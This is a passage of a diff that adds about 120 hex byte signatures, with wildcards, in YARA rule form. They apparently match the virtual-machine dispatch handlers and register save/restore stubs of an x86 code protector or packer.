+		$612 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 50 55 50 51 9C 52 56 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8B 00 89 45 00 E9}
+		$613 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 50 54 9C 51 56 55 57 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+		$614 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 50 57 9C 56 51 52 55 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 8D 0C 85 ?? ?? ?? ?? FF 21 8B 6D 00 E9}
+		$615 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 50 57 56 9C 55 52 51 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 02 66 89 45 00 E9}
+		$616 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 50 57 56 55 51 9C 51 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 34 85 ?? ?? ?? ?? C3}
+		$617 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 51 52 55 56 56 9C 57 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 34 85 ?? ?? ?? ?? C3}
+		$618 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 52 57 55 56 51 55 9C 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 34 85 ?? ?? ?? ?? C3}
+		$619 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 52 57 55 51 9C 56 50 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8B 00 89 45 00 E9}
+		$620 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 52 57 50 55 51 9C 56 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 45 00 8B 00 89 45 00 E9}
+		$621 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 55 55 57 51 56 50 9C 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 8B 06 83 ED 04 83 C6 04 89 45 00 E9}
+		$622 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 55 52 57 57 50 9C 56 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+		$623 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 52 9C 55 57 50 51 55 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 24 85 ?? ?? ?? ?? 89 E8 83 ED 04 89 45 00 E9}
+		$624 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 51 9C 52 57 55 50 56 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8B 00 89 45 00 E9}
+		$625 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 51 56 50 57 55 52 9C 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 34 85 ?? ?? ?? ?? C3}
+		$626 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 51 55 56 52 9C 57 50 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 45 00 36 8B 00 89 45 00 E9}
+		$627 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 52 56 9C 57 50 51 55 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8B 55 04 83 C5 08 89 10 E9}
+		$628 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 52 55 9C 57 56 51 50 54 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 FF 24 85 ?? ?? ?? ?? 89 EC 5A 5E 58 59 5E 5F 9D 5D 5A 5B C3}
+		$629 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 52 50 56 51 57 56 55 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 8A 06 8A 04 07 83 ED 02 66 89 45 00 46 E9}
+		$630 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 55 52 9C 53 56 57 50 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 24 85 ?? ?? ?? ?? 89 EC 5A 5B 58 5F 5E 5A 9D 5A 5D 59 C3}
+		$631 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 9C 52 52 53 57 51 55 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8B 00 89 45 00 E9}
+		$632 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 57 55 51 55 9C 56 53 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 34 85 ?? ?? ?? ?? C3}
+		$633 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 57 53 57 52 56 51 55 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 66 8B 6D 00 E9}
+		$634 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 9C 52 56 56 53 57 51 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF 8D 0C 85 ?? ?? ?? ?? FF 21 8B 75 00 83 C5 04 E9}
+		$635 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 9C 52 53 55 51 56 56 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 24 85 ?? ?? ?? ?? 8B 06 83 ED 04 89 45 00 83 C6 04 E9}
+		$636 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 9C 52 53 51 55 51 56 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 45 00 01 45 04 9C 8F 45 00 E9}
+		$637 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 56 51 51 9C 52 55 57 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 24 85 ?? ?? ?? ?? 8B 6D 00 E9}
+		$638 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 55 9C 56 57 57 51 52 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 24 85 ?? ?? ?? ?? 66 8B 06 98 83 ED 04 8D 76 02 89 45 00 E9}
+		$639 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 55 9C 53 57 51 52 56 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 34 85 ?? ?? ?? ?? C3}
+		$640 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 56 53 51 55 57 52 53 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 04 89 45 00 E9}
+		$641 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 56 53 50 55 9C 51 52 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 34 85 ?? ?? ?? ?? C3}
+		$642 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 56 52 53 55 57 9C 51 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 04 89 45 00 E9}
+		$643 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 9C 53 56 53 52 55 51 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+		$644 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 50 9C 56 53 57 55 52 54 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+		$645 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 50 9C 56 53 57 52 55 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 C6 01 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+		$646 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 50 57 9C 53 53 55 52 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+		$647 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 52 55 9C 56 53 52 57 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 89 EC 5A 58 5F 5A 5B 5E 9D 5D 59 59 C3}
+		$648 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 52 53 55 9C 55 56 57 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 24 85 ?? ?? ?? ?? 89 E8 83 ED 02 66 89 45 00 E9}
+		$649 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 52 50 53 56 55 57 9C 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 04 89 45 00 E9}
+		$650 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 9C 55 54 56 52 57 51 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF 8D 0C 85 ?? ?? ?? ?? FF 21 8B 6D 00 E9}
+		$651 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 9C 54 55 56 52 53 51 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 C6 01 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+		$652 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 9C 53 57 52 57 56 51 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 24 85 ?? ?? ?? ?? 8B 45 00 8B 00 89 45 00 E9}
+		$653 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 50 55 56 50 53 9C 57 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 24 85 ?? ?? ?? ?? 0F B6 06 46 83 ED 02 66 89 45 00 E9}
+		$654 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 50 52 9C 53 57 50 55 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 75 00 83 C5 04 E9}
+		$655 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 9C 56 53 53 55 57 52 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 8B 45 00 01 45 04 9C 8F 45 00 E9}
+		$656 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 55 53 56 52 57 56 51 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 75 00 83 C5 04 E9}
+		$657 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 51 55 53 56 51 57 52 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+		$658 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 51 53 9C 52 56 55 57 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 24 85 ?? ?? ?? ?? 8B 06 83 ED 04 89 45 00 83 EE FC E9}
+		$659 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 51 53 54 57 56 52 55 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 02 66 89 45 00 E9}
+		$660 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 51 56 9C 53 57 55 52 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8B 55 04 83 C5 08 89 10 E9}
+		$661 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 51 56 53 55 57 52 9C 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 EC 59 5D 9D 5A 5F 5D 5B 5E 59 58 C3}
+		$662 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 51 55 9C 57 57 56 52 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 02 66 89 45 00 E9}
+		$663 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 51 52 53 9C 56 57 56 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 75 00 83 C5 04 E9}
+		$664 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 50 9C 53 55 57 52 51 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 66 8B 06 98 83 ED 04 89 45 00 83 C6 02 E9}
+		$665 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 50 57 9C 55 52 56 51 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 C6 01 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+		$666 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 51 53 52 55 9C 52 57 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8B 00 89 45 00 E9}
+		$667 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 51 52 9C 50 53 57 55 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 8B 75 00 83 C5 04 E9}
+		$668 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 51 52 57 56 55 53 9C 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 34 85 ?? ?? ?? ?? C3}
+		$669 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 52 51 53 9C 55 56 53 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 24 85 ?? ?? ?? ?? 8B 45 00 8B 55 04 83 C5 08 89 10 E9}
+		$670 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 53 50 9C 51 57 52 55 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 06 83 EE FC 83 ED 04 89 45 00 E9}
+		$671 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 52 9C 55 53 57 51 53 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 02 66 89 45 00 E9}
+		$672 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 52 9C 50 55 53 51 56 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8A 55 04 83 C5 06 88 10 E9}
+		$673 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 53 57 52 52 9C 56 55 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+		$674 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 53 56 57 52 55 51 53 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8B 00 89 45 00 E9}
+		$675 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 53 54 52 57 51 55 56 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 24 85 ?? ?? ?? ?? 89 E8 83 ED 04 89 45 00 E9}
+		$676 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 52 56 53 57 51 9C 52 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+		$677 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 52 53 53 55 9C 57 51 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+		$678 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 52 51 9C 56 53 57 51 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 34 85 ?? ?? ?? ?? C3}
+		$679 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 52 57 9C 54 53 55 56 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 75 00 83 C5 04 E9}
+		$680 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 52 57 56 57 9C 51 55 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+		$681 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 52 56 9C 53 54 57 55 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 34 85 ?? ?? ?? ?? C3}
+		$682 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5E 58 5A 5D 5F 5B 5A 59 9D C3}
+		$683 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5D 5F 5E 5B 9D 58 5B 59 5A C3}
+		$684 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5D 5F 5A 5E 5D 5B 58 9D 59 C3}
+		$685 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5E 59 5F 5B 5D 58 5A 9D 5E C3}
+		$686 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5E 59 58 5F 5D 58 5B 9D 5A C3}
+		$687 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5E 58 5F 5D 5B 5A 59 9D 5F C3}
+		$688 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5B 5E 59 5A 58 9D 5D 5B 5F C3}
+		$689 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5B 5E 58 5D 5F 9D 5A 59 5F C3}
+		$690 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5A 9D 5E 5D 58 5F 5A 59 5B C3}
+		$691 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5D 5F 59 59 5A 5E 5B 9D 58 C3}
+		$692 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5B 5F 5B 9D 59 5A 5D 58 5E C3}
+		$693 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5B 5F 58 5A 5E 9D 5D 59 59 C3}
+		$694 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5E 5D 59 5B 5A 58 5F 9D 58 C3}
+		$695 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 9D 59 5A 5F 5E 5D 5D 58 5B C3}
+		$696 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5F 5F 5B 5A 9D 5E 5D 59 58 C3}
+		$697 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5F 5E 9D 59 5A 5A 5B 58 5D C3}
+		$698 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 9D 5D 5A 5B 58 5F 5E 5E 59 C3}
+		$699 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 9D 5A 5F 5D 58 5B 58 59 5E C3}
+		$700 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 9D 5A 58 5B 5F 59 5D 5E 59 C3}
+		$701 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5F 58 5B 59 5E 5F 5D 5A 9D C3}
+		$702 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5E 5F 9D 5D 5B 58 5E 5A 59 C3}
+		$703 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5E 5D 5A 58 59 5B 5A 5F 9D C3}
+		$704 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5F 5D 5E 58 5B 9D 59 5A 5B C3}
+		$705 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5F 5A 5B 59 5D 9D 59 5E 58 C3}
+		$706 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5F 58 5B 9D 5A 5D 5F 5E 59 C3}
+		$707 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5A 5F 5F 58 5E 5D 9D 59 5B C3}
+		$708 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5F 5B 5E 5B 5D 59 5A 9D 58 C3}
+		$709 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5F 5A 5E 5E 59 9D 5D 5B 58 C3}
+		$710 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5E 5F 5F 9D 59 5D 5A 5B 58 C3}
+		$711 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5F 5E 9D 5D 58 5B 5A 5A 59 C3}
+		$712 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5F 5E 5D 59 9D 5B 58 5A 5A C3}
+		$713 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5F 5E 58 5D 5B 59 9D 5A 5D C3}
+		$714 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5E 5A 5F 58 58 5D 59 5B 9D C3}
+		$715 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5E 5A 59 5D 5B 58 5F 9D 5F C3}
+		$716 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5E 59 5D 9D 58 5B 5A 5F 5A C3}
+		$717 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5E 5F 5B 59 5D 58 9D 5A 5D C3}
+		$718 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5E 5B 5D 5A 5F 58 59 58 9D C3}
+		$719 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5E 5B 5A 59 5D 58 5F 9D 5D C3}
+		$720 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 9D 58 5F 5F 5B 5A 59 5D 5E C3}
+		$721 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 59 58 5B 5D 5F 5E 5A 5F 9D C3}
+		$722 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 58 5F 5B 5D 5E 5B 5A 59 9D C3}
+		$723 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 58 5F 59 5A 59 5E 5D 5B 9D C3}
+		$724 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5A 5F 5B 58 59 5D 9D 5D 5E C3}
+		$725 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 59 5A 9D 5F 5B 5B 5D 58 5E C3}
+		$726 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 59 5A 9D 5E 58 5F 5D 59 5B C3}
+		$727 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 58 5B 59 59 5E 5D 5F 5A 9D C3}
+		$728 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 9D 5F 5D 5E 5B 58 59 5A 59 C3}
+		$729 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 9D 5D 5E 58 59 5B 5F 5A 5F C3}
+		$730 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 58 5B 9D 5A 5F 5D 5A 5E 59 C3}
+		$731 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 58 5B 5A 5F 59 5D 5D 5E 9D C3}
